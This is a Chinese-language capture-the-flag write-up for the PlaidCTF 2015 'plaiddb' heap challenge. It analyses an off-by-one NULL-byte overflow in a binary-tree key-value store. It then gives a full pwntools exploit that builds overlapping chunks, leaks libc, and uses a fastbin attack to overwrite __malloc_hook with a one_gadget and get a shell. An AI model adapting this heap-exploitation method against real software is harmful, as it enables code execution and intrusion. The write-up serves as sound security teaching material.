plaidctf 2015 plaiddb

  • 题目: 2015_plaidctf_datastore

  • libc version: 2.23

  • checksec datastore 64 位程序且保护全开

    ➜  2015_plaidctf_datastore checksec datastore
    [*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/items/2015_plaidctf_datastore/datastore'
    Arch: amd64-64-little
    RELRO: Full RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
    FORTIFY: Enabled

分析

关键数据结构

00000000 row             struc ; (sizeof=0x38, mappedto_6)
00000000 key dq ? ; offset
00000008 data_size dq ?
00000010 data dq ? ; offset
00000018 left_node dq ? ; offset
00000020 right_node dq ? ; offset
00000028 dummy dq ? ; offset
00000030 dummy1 dd ?
00000034 padding dd ?
00000038 row ends

使用二叉树结构存储数据

函数功能

需要注意的是getline函数:

char *get_line()
{
char *line_start; // r12
char *line_end; // rbx
size_t size; // r14
char v3; // al
char v4; // bp
signed __int64 v5; // r13
char *new_line; // rax

line_start = (char *)malloc(8uLL); // 一开始使用 malloc(8) 进行分配
line_end = line_start;
size = malloc_usable_size(line_start); // 计算了可用大小, 例如对于 malloc(8) 来说, 这里应该为24
while ( 1 )
{
v3 = _IO_getc(stdin);
v4 = v3;
if ( v3 == -1 )
Goodbye();
if ( v3 == '\n' )
break;
v5 = line_end - line_start;
if ( size <= line_end - line_start )
{
new_line = (char *)realloc(line_start, 2 * size);// // 大小不够是将可用大小乘二, 进行 realloc
line_start = new_line;
if ( !new_line )
{
puts("FATAL: Out of memory");
exit(-1);
}
line_end = &new_line[v5];
size = malloc_usable_size(new_line);
}
*line_end++ = v4; // <--- 漏洞所在, 此时 line_end 作为索引, 指向了下一个位置, 如果位置全部使用完毕则会指向下一个本应该不可写位置
}
*line_end = 0; // <--- 漏洞所在。 off by one (NULL 字节溢出)
return line_start;
}

菜单功能:

unsigned __int64 menu()
{
char command[8]; // [rsp+0h] [rbp-18h]
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
puts("PROMPT: Enter command:");
my_fgets(command, 8LL);
if ( !memcmp(command, "GET\n", 5uLL) )
{
Get();
}
else if ( !memcmp(command, "PUT\n", 5uLL) )
{
PUT();
}
else if ( !memcmp(command, "DUMP\n", 6uLL) )
{
DUMP();
}
else if ( !memcmp(command, "DEL\n", 5uLL) )
{
DEL();
}
else
{
if ( !memcmp(command, "EXIT\n", 6uLL) )
Goodbye();
__printf_chk(1LL, "ERROR: '%s' is not a valid command.\n", command);
}
return __readfsqword(0x28u) ^ v2;
}
  • DUMPGET 都是用来读取内容的, 这样key和具体数据内容都可以读取, 不需要重点关注。重点关注PUTDEL:
void PUT()
{
row *row; // rbx
unsigned __int64 size; // rax
char *v2; // rax
row *v3; // rbp
char data_size[16]; // [rsp+0h] [rbp-38h]
unsigned __int64 v5; // [rsp+18h] [rbp-20h]

v5 = __readfsqword(0x28u);
row = (row *)malloc(0x38uLL);
if ( !row )
goto LABEL_10;
puts("PROMPT: Enter row key:");
row->key = get_line();
puts("PROMPT: Enter data size:");
my_fgets(data_size, 16LL);
size = strtoul(data_size, 0LL, 0);
row->data_size = size;
v2 = (char *)malloc(size);
row->data = v2;
if ( !v2 )
{
puts("ERROR: Can't store that much data.");
free(row->key);
if ( __readfsqword(0x28u) == v5 )
{
free(row);
return;
}
LABEL_10:
puts("FATAL: Can't allocate a row");
exit(-1);
}
puts("PROMPT: Enter data:");
my_fread(row->data, row->data_size);
v3 = sub_CF0(row);
if ( v3 )
{
free(row->key);
free(v3->data);
v3->data_size = row->data_size;
v3->data = row->data;
free(row);
puts("INFO: Update successful.");
}
else
{
puts("INFO: Insert successful.");
}
if ( __readfsqword(0x28u) != v5 )
goto LABEL_10;
}

分配过程有:

  1. malloc(0x38) (结构体)
  2. getline (malloc 和 realloc)
  3. malloc(size) 可控大小
  4. 读入 size 字节内容

更复杂的部分我们可以之后在看是否会用到, 也就是在 put 中用到的关于 free 的部分

对于删除来说, 这个函数比较复杂, 就不再详细解释。事实上只需要知道他是按照 key 来进行删除, key 则使用 getline 进行读取, 如果没有该 key, 则 getline 的部分不会被删除, 有的话, 就依次 free

漏洞利用分析

漏洞的位置在功能分析中已经指出来了, 在 getline 当中, 但是这个函数比较特殊的地方在于, 它所分配的大小是逐渐增大的, 通过可用大小乘二的方式增大, 使用了 realloc, 也就是说, 我们想要触发这个漏洞, 就需要满足特定大小的要求。

根据分配过程, 满足的大小有:

  • 0x18
  • 0x38
  • 0x78
  • 0xf8
  • 0x1f8

这些大小都可以触发溢出。首先 off-by-one 漏洞可以造成堆交叉, 可以造成 libc 地址泄露, 之后所要采用的利用方法, 由于已经存在堆交叉, 也就是可以形成 UAF , 可以使用 UAF 的常用方法。

UAF 漏洞最简单的方法当然是 fastbin attack 了, 所以作者采用了 fastbin attack

到这里, 开始思考如何形成我们所需要的利用条件。off-by-one最终的效果是可以将一个释放状态的 smallbin chunk 或是 unsortedbin chunk 一直到被溢出 chunk 合并成一个大 chunk。也就是说:

+------------+
| | <-- free 的 unsortedbin 或是 smallbin chunk (因为此时 fd 和 bk 指向合法指针, 才能够进行 unlink)
+------------+
| ... | <-- 任意 chunk
+------------+
| | <-- 进行溢出的 chunk
+------------+
| vuln | <-- 被溢出的 chunk, 大小为 0x_00 (例如 0x100, 0x200……)
+------------+

在 off-by-one 利用后, 以上出现的 chunk 都将被合并为一个释放状态的 chunk。这样中间任意 chunk 的位置如果是已被分配的, 就可以造成 overlap 了。

按照我们的利用思路, 结合题目 getline 函数通过 malloc(8) 再 realloc 的分配方式, 我们需要:

  1. 任意 chunk 位置至少有一个已经分配, 且可以读出数据的 chunk 来 leak libc_base_address
  2. 进行溢出的 chunk 需要在最上方的 chunk 之前分配, 否则malloc(8)的时候会分配到最上方而不是进行溢出 chunk 应在的位置
  3. 任意 chunk 位置至少还需要一个已经被释放, 且 size 为 0x71 的 chunk 来进行 fastbin attack
  4. 所有 chunk 不应该被合并到 top chunk 中, 所以最下方应该有一个已经分配好的 chunk 保证与 top chunk 的距离
  5. 进行溢出的 chunk 大小应该属于 unsortedbin 或是 smallbin, 不能为 fastbin, 否则被释放之后, 按照 getline 的分配方式, malloc(8) 无法分配在该位置

按照以上原则, 我们可以思考出 chunk 的分布如下:

+------------+
| 1 | <-- free 的 size == 0x200 chunk
+------------+
| 2 | <-- size == 0x60 fastbin chunk, 已被分配, 且可以读出数据
+------------+
| 5 | <-- size == 0x71 fastbin chunk, 为 fastbin attack 做准备
+------------+
| 3 | <-- size == 0x1f8 free 状态的 smallbin/unsortedbin chunk
+------------+
| 4 | <-- size == 0x101 被溢出 chunk
+------------+
| X | <-- 任意分配后 chunk 防止 top 合并
+------------+

由于分配过程还有一些额外结构(结构体本身的分配和 getline), 我们需要先释放出足够的 fastbin chunk 来避免结构体本身的分配对我们的过程造成影响。

在此之后, 依次释放掉 5, 3, 1, 之后利用 del 输入时候的 getline, 将 3 填满, 造成 off-by-one, 之后将 4 free 掉进行合并(伪造 prev_size), 这样就有了一个交叉的堆结构了。

之后的过程就更加简单了, 首先分配 1 的大小, 使得 libc 地址被写到 2 里, 就可以泄露出地址, 然后将 5 分配出来, 写入需要的内容, 就可以 fastbin attack 了。

Exp

  • 按照作者所说由于原 libc 为 2.19 版本, 加载有一些奇怪的问题, 较为麻烦, 而本题没有用到 2.19 独有的特性, 所以我采用了 2.23 的 libc 进行调试, 版本为 ubuntu10。, 因此这里我的测试环境为wsl2 + pwndocker + libc 2.23
from pwn import *
context.log_level = 'debug'

context.terminal = ['tmux', 'splitw', '-v']


p = process('./datastore')

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def GET(row_key):
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("GET")
p.sendlineafter('PROMPT: Enter row key:\n', row_key)


def PUT(row_key, size, data):
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("PUT")
p.sendlineafter('PROMPT: Enter row key:\n', row_key)
p.sendlineafter('PROMPT: Enter data size:\n', str(size))
if(len(data) < size):
data = data.ljust(size, b'\x00')
p.sendafter('PROMPT: Enter data:\n', data)


def DUMP():
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("DUMP")


def DEL(row_key):
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("DEL")
p.sendlineafter("PROMPT: Enter row key:\n", row_key)


def EXIT():
p.recvuntil('PROMPT: Enter command:\n')
p.sendline("EXIT")


for i in range(10): # 因为每个功能函数都用到了0x38 chunk, 所以我们先构造一些, 避免影响后面的利用
PUT(str(i), 0x38, b'a' * 0x18)
for i in range(10):
DEL(str(i))


PUT('x', 0x200, 'x' * 0x200)
PUT('fast', 0x68, b'fast')
PUT('fast2', 0x68, b'fast2')
PUT('a', 0x1f8, b'a' * 0x18)
PUT('b', 0xf0, b'b' * 0x18)
PUT('defense', 0x400, b'defense-data') # 防止top bin的影响
DEL('a')
DEL('x')
DEL(b'1' * 0x1f0 + p64(0x4f0)) # 对b的pre_size域和prev_inuse进行覆盖
DEL('b')
PUT('0x200', 0x200, b'0x200')
PUT('0x200plus', 0x200, b'0x200')
GET('fast')
p.recvuntil(']:\n')
leak = u64(p.recv(8).ljust(8, b'\x00'))
libc_base = leak-(0x7ffff7dd1b78-0x7ffff7a0d000)
DEL('fast2')
PUT('0x68+0x68', 0x100, b'a' * 0x68 + p64(0x71) +
p64(libc_base + libc.symbols['__malloc_hook'] - 10-0x10+7))
PUT('pre', 0x68, b'aa')
one_gadget_offset = 0x4526a
one_gadget = one_gadget_offset+libc_base
# gdb.attach(p, "read")
PUT('attack', 0x68, b'a'*3+p64(one_gadget))

GET('fast')
p.interactive()